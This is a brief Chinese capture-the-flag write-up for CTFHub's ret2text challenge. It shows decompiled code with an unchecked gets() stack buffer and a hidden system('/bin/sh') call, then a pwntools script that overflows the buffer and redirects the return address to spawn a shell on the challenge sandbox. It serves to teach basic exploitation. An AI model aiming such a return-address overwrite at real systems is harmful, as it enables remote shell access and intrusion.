ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

checksec了一下,64位没开任何保护。
main函数内容如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-70h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to CTFHub ret2text.Input someting:");
  gets(&v4, 0LL);
  puts("bye");
  return 0;
}

找到栈大小和返回地址后,看secure函数,内容如下:

int secure()
{
  unsigned int v0; // eax
  int result; // eax
  int v2; // [rsp+8h] [rbp-8h]
  int v3; // [rsp+Ch] [rbp-4h]

  v0 = time(0LL);
  srand(v0);
  v3 = rand();
  __isoc99_scanf((__int64)&unk_4008C8, (__int64)&v2);
  result = v2;
  if ( v3 == v2 )
    result = system("/bin/sh");
  return result;
}

system("/bin/sh");的内存地址位0x4007b8,写脚本:

from pwn import *

p = remote('challenge-93c6eb0adcd5b58f.sandbox.ctfhub.com',35615)
payload = 'a'*0x70+'a'*0x08+p64(0x4007B8)
p.sendline(payload)
p.interactive()